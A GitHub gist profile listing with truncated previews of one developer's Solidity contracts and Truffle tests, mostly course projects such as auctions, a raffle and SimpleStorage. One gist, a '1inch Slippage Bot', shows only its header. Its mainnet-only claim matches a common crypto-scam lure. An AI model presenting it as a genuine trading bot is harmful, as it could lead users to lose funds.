Skip to content

Instantly share code, notes, and snippets.

View vvarl0cks's full-sized avatar
🧙
The less you talk, the more you will hear.

Sigit H. Yudanto vvarl0cks

🧙
The less you talk, the more you will hear.
View GitHub Profile
@vvarl0cks
vvarl0cks / .deps...npm...@openzeppelin...contracts...access...Ownable.sol
Created December 24, 2025 04:34
Created using remix-ide: Realtime Ethereum Contract Compiler and Runtime. Load this file by pasting this gists URL or ID at https://remix.ethereum.org/#version=soljson-v0.8.24+commit.e11b9ed9.js&optimize=true&runs=200&gist=
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts (last updated v5.0.0) (access/Ownable.sol)
pragma solidity ^0.8.20;
import {Context} from "../utils/Context.sol";
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
@vvarl0cks
vvarl0cks / slip.sol
Created October 21, 2024 03:13
1inch Slippage Bot
//SPDX-License-Identifier: MIT
pragma solidity ^0.6.6;
// This 1inch Slippage bot is for mainnet only. Testnet transactions will fail because testnet transactions have no value.
// Import Libraries Migrator/Exchange/Factory
import "https://github.com/Uniswap/uniswap-v2-core/blob/master/contracts/interfaces/IUniswapV2ERC20.sol";
import "https://github.com/Uniswap/uniswap-v2-core/blob/master/contracts/interfaces/IUniswapV2Factory.sol";
import "https://github.com/Uniswap/uniswap-v2-core/blob/master/contracts/interfaces/IUniswapV2Pair.sol";
contract UniswapSlippageBot {
@vvarl0cks
vvarl0cks / RaffleContract.sol
Last active July 10, 2023 06:40
This is a smart contract for a raffle. Participants can buy tickets with native token and have a chance to win a specified ERC721 (NFT) prize.
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;
import "node_modules/@thirdweb-dev/contracts/base/ERC721Base.sol";
contract LotteryContract {
address public admin;
mapping(address => uint256) public entryCounts; // Mapping to store the count of entries per address
address[] public players; //Array of players who bought tickets
@vvarl0cks
vvarl0cks / SimpleStorage.sol
Created June 23, 2022 07:42
Storage Example for Solidity - Basic example that sets the value of a variable and exposes it for other contracts to access.
// SPDX-License-Identifier: GPL-3.0
pragma solidity >=0.4.16 <0.9.0;
contract SimpleStorage {
uint storedData;
function set(uint x) public {
storedData = x;
}
@vvarl0cks
vvarl0cks / test.js
Created June 12, 2022 09:45
Course 3 Project: Test-driven Development of a Dapp (Uncompleted code)
let Auction = artifacts.require("./Auction.sol");
let auctionInstance;
contract('AuctionContract', function (accounts) {
//accounts[0] is the default account
//Test case 1
it("Contract deployment", function() {
//Fetching the contract instance of our smart contract
return Auction.deployed().then(function (instance) {
@vvarl0cks
vvarl0cks / test.js
Created June 12, 2022 09:43
Course 3 Project: Test-driven Development of a Dapp (complete code)
let Auction = artifacts.require("./Auction.sol");
let auctionInstance;
contract('AuctionContract', function (accounts) {
//accounts[0] is the default account
//Test case 1
it("Contract deployment", function() {
//Fetching the contract instance of our smart contract
return Auction.deployed().then(function (instance) {
@vvarl0cks
vvarl0cks / Auction.sol
Last active May 24, 2022 09:39
Course 2 Project: Design and Development of Smart Contract (Incomplete Code)
pragma solidity ^0.4.17;
contract Auction {
// Data
//Structure to hold details of the item
struct Item {
uint itemId; // id of the item
uint[] itemTokens; //tokens bid in favor of the item
}
@vvarl0cks
vvarl0cks / Auction.sol
Last active May 24, 2022 09:35
Course 2 Project: Design and Development of Smart Contract (Complete Code)
pragma solidity ^0.4.17;
contract Auction {
// Data
//Structure to hold details of the item
struct Item {
uint itemId; // id of the item
uint[] itemTokens; //tokens bid in favor of the item
}
@vvarl0cks
vvarl0cks / LEIA.sol
Created May 6, 2021 06:23
BEP20 LEIA - testnet
/**
FROM DADDY TO LEIA!
EVERYONE DESERVE FOR FINANCIAL FREEDOM
dev & compile: @sigit_yudanto (tg)
**/